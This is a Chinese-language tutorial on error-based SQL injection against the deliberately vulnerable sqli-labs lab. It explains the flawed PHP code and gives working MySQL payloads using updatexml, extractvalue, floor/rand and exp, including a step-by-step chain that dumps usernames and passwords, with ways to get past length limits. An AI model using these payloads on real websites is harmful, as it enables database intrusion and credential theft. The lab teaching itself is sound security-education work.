报错函数注入(无回显位场景)、常见报错信息含义
Less-1/2 按照注入手法可以说是有回显位报错注入,页面能把查询结果显示出来,用 union select 就能拿到数据。
还有一种情况:页面没有回显位,只显示 "You are in..." 或者不显示具体内容,这时候就要用报错函数把数据"挤"在错误信息里返回。

| 类型 | 代表关卡 | 页面特征 | 手法 |
|---|---|---|---|
| 联合查询+回显 | Less-1/2/3/4/11 | 显示用户名密码 | union select |
| 报错函数(无回显) | Less-5/6/13/14 | 只显示固定文字或报错 | updatexml() / extractvalue() / floor() |
用户输入 id → 拼接到 SQL → 执行查询 → 查到数据?→ 是:只显示 "You are in..." → 否:显示 MySQL 报错信息
核心特征:查到数据时不显示具体内容,只显示固定文字;查不到时才显示报错。
phperror_reporting(0);
第3行:关闭 PHP 错误报告。这意味着 PHP 自己的报错不会显示,但 MySQL 的报错还会显示(后面看 mysql_error())。
php// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
第5-7行:从 URL 获取 id 参数,直接赋值给 $id,没有任何过滤。
php// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
第14行:核心漏洞! 和 Less-1 一样,$id 被单引号包裹,直接拼接进 SQL。
php$result=mysql_query($sql);
$row = mysql_fetch_array($result);
第15-16行:执行 SQL,获取结果。
phpif($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
第18-23行:查到数据时,只显示 You are in...........,不显示用户名密码!
phpelse
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
第25-31行:查不到数据时,调用 mysql_error() 打印 MySQL 错误信息! 这就是报错注入的入口:
MySQL 函数原型:
sqlupdatexml(XML_document, XPath_string, new_value)
正常用途:修改 XML 文档中某个节点的值
注入用法:让第二个参数(XPath)包含非法字符(如 ~),触发 XPath 语法错误,错误信息里就会包含我们拼接的数据。
Payload 模板:
sql?id=1' and updatexml(1, concat(0x7e, (SELECT 要查的数据), 0x7e), 1) --+
拆解:
| 部分 | 含义 |
|---|---|
1 | 第一个参数,随便写 |
concat(0x7e, ..., 0x7e) | 0x7e 是 ~ 的十六进制,~ 在 XPath 中是非法字符 |
(SELECT 要查的数据) | 子查询,把数据查出来 |
1 | 第三个参数,随便写 |
实际效果:
XPATH syntax error: '~security~'
数据库名 security 就藏在报错信息里返回了。
Less-5 完整流程:
sql-- 爆库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
-- 爆表名(有长度限制 32 字符,超长的用 substr 分段)
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
-- 如果显示不全,分段取
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),32,31),0x7e),1) --+
-- 爆字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+
-- 爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) --+
函数原型:
sqlextractvalue(XML_document, XPath_string)
原理:同样利用 XPath 语法错误
Payload:
sql?id=1' and extractvalue(1, concat(0x7e, database(), 0x7e)) --+
XPath 非法字符
| 字符 | 十六进制 | 效果 |
|---|---|---|
~ | 0x7e | 最常用,肉眼好辨认 |
! | 0x21 | 可以 |
# | 0x23 | 可以 |
$ | 0x24 | 可以 |

效果:和 updatexml 一模一样,只是少一个参数。
原理:利用 rand() 随机数 + group by 分组 + count(*) 计数,制造"主键重复"错误。
Payload:
sql?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
拆解:
| 部分 | 作用 |
|---|---|
rand(0)*2 | 生成 0 或 1 的伪随机数(种子固定,结果可预测) |
floor(rand(0)*2) | 取整,得到 0 或 1 |
concat(database(), floor(...)) | 把库名和 0/1 拼接 |
group by x | 按拼接结果分组 |
count(*) | 计数 |
select 1 from (...)a | 把结果当成一个表,起别名 a |
为什么报错?
rand() 在 group by 执行过程中会被计算多次,导致同一个键值被插入两次,触发 Duplicate entry 错误。
提示
sql?id=1' and (select 1 from ( ... ) a) --+
?id=1' 闭合前面的单引号。and (select 1 from (...) a) 这是一个布尔条件,and 后面的东西需要被执行。这里用了一个子查询,我们并不关心 select 1 的查询结果,只关心它在执行过程中会不会报错。--+ 注释掉后面的多余字符(等同于 -- )。真正的戏法在中间那个子查询里。
concat(database(), floor(rand(0)*2))https://blog.csdn.net/miraclehw/article/details/129250360
把两部分拼起来:
database() —— 你当前所在的数据库名字,比如 security。floor(rand(0)*2) —— 一个固定的随机数序列,只会产生 0 1之间的数字。于是 concat 拼出的字符串就类似:
security0 security1 security1 security0 ...
group by 与临时表主键完整子查询:
sqlselect count(*), concat(database(), floor(rand(0)*2)) as x
from information_schema.tables
group by x
information_schema.tables 是 MySQL 自带的系统表,里面有很多行,我们只是拿它当“计数器”,利用它有很多行数据来触发计算。
group by x 会根据 x 的值进行分组,它在背后会创建一个临时表,临时表的主键就是 x(分组字段)。
关键点:在往临时表插入分组值时,rand() 会被重复计算,导致同一个 x 值被尝试插入两次。
假设 concat(database(), floor(rand(0)*2)) 中 database() = security,floor(rand(0)*2) 的固定序列是 0, 1, 1, 0, 1...
| 步骤 | 动作 | 第几次 rand | 计算结果 | 虚拟表里有吗? | 实际操作 |
|---|---|---|---|---|---|
| 第1条 | 抬头查 key | 第1次 | security0 | ❌ 没有 | 决定插入 |
| 插入写 key | 第2次 | security1 | — | 写入 security1 | |
| 第2条 | 抬头查 key | 第3次 | security1 | ✅ 有! | count+1,不插入 |
| 第3条 | 抬头查 key | 第4次 | security0 | ❌ 没有 | 决定插入 |
| 插入写 key | 第5次 | security1 | ✅ 已有! | 💥 报错! |
报错信息:
Duplicate entry 'security1' for key '<group_key>'
security 就是数据库名,从报错里读出来了。
select 1 from (...) a外层的 select 1 只是为了给子查询包一层壳,让它成为一个合法的标量子查询,可以被 and 执行。其实你也可以写成:
sqland (select count(*) from (...) a)
效果一样,只要子查询被执行,炸弹就会引爆,错误就会显示在页面上。
这个注入语句就是:
把数据库名和固定随机数粘在一起,利用 group by 临时表主键的特性和 rand() 的多次计算,故意制造“主键重复”错误,让报错信息里带上数据库名。
报错效果:
Duplicate entry 'security1' for key 'group_key'
MySQL > 5.5.53 之后,exp() 报错注入在命令行里还能用,但在 Web 应用/PHP 环境下可能不显示具体值
原理:exp() 计算 e 的 x 次方,当 x 太大时数值溢出报错。
Payload:
sql?id=1' and exp(~(select * from (select database())a)) --+
拆解:
| 部分 | 作用 |
|---|---|
~ | 按位取反,把正数变成极大负数 |
exp(极大负数) | 理论上趋近于 0,但 MySQL 内部处理时溢出 |
select * from (select database())a | 子查询,把数据包一层 |
效果:
DOUBLE value is out of range in 'exp(~((select 'security' from dual)))'
| 函数 | 参数个数 | 原理 | 长度限制 | 适用场景 |
|---|---|---|---|---|
updatexml() | 3 | XPath 语法错误 | 32 字符 | 最常用,首选 |
extractvalue() | 2 | XPath 语法错误 | 32 字符 | 和 updatexml 等价 |
floor() | 复杂 | 主键重复 | 无 | 数据很长时分段不方便时 |
exp() | 1 | 数值溢出 | 无 | 绕过某些过滤 |
| 报错信息 | 出现场景 | 深层含义 | 怎么解决 |
|---|---|---|---|
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 | 输入 ' 后 | 单引号没闭合,后面空了。near '' 指多余的那个引号后面啥也没有 | 加 --+ 注释掉后面 |
You have an error in your SQL syntax ... near '1'' LIMIT 0,1' | 输入 1' 后 | 字符型注入,1' 闭合了前面的引号,但后面还有一个多余的 ' | 确认字符型,加注释 |
Unknown column '4' in 'order clause' | order by 4 | 表只有 3 列,你按第 4 列排序不存在 | 用二分法(1,2,4,8...)确定列数 |
The used SELECT statements have a different number of columns | union select 列数不对 | Union 前后两张表列数不一致 | order by 确定正确列数后再 union |
Operand should contain 1 column(s) | 子查询返回多列 | 用 = 比较时右边子查询返回了多列 | 子查询只查一列,或用 limit 0,1 |
Subquery returns more than 1 row | 子查询返回多行 | 用 = 比较时右边有多条结果 | 加 limit 0,1 或改用 group_concat() |
XPATH syntax error: '~xxx~' | updatexml / extractvalue | 正常报错注入结果,数据在 ~ 之间 | 提取 ~ 之间的数据 |
Duplicate entry 'xxx' for key 'group_key' | floor() 报错 | 正常报错注入结果,数据在单引号里 | 提取单引号里的数据 |
DOUBLE value is out of range | exp() 报错 | 正常报错注入结果,数据在报错信息里 | 提取数据 |
假设要查数据库名 security:
| 场景 | 手法 | Payload | 结果在哪 |
|---|---|---|---|
| 有回显位(Less-1) | Union | ?id=-1' union select 1,database(),3 --+ | 页面正常显示 |
| 无回显位(Less-5) | updatexml | ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+ | 报错信息里 |
| 无回显位(Less-5) | floor | ?id=1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ | 报错信息里 |
核心区别:有回显用 union select 直接显示,无回显用报错函数"借尸还魂"把数据藏在错误里。
updatexml 和 extractvalue 的返回结果最多 32 个字符,如果数据太长会截断。
解决方案:
sql-- 方法1:substr 分段取
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),32,31),0x7e),1) --+
?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),63,31),0x7e),1) --+
-- 方法2:用 mid() 函数(和 substr 一样)
?id=1' and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) --+
-- 方法3:换 floor() 或 exp()(无长度限制)
sql-- Step 1: 确认注入点
?id=1' --+ → 页面显示 "You are in..." → 字符型
?id=1" --+ → 页面显示 "You are in..." → 双引号字符型(Less-6)
-- Step 2: 爆库名
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+
-- Step 3: 爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+
-- Step 4: 爆字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) --+
-- Step 5: 爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1) --+
有回显:union select 直接看 无回显:报错函数来帮忙 updatexml:三参数,中间 XPath 放数据 extractvalue:两参数,和上面一样 floor:rand + group by,主键重复报错忙 长度超了怎么办:substr 分段慢慢查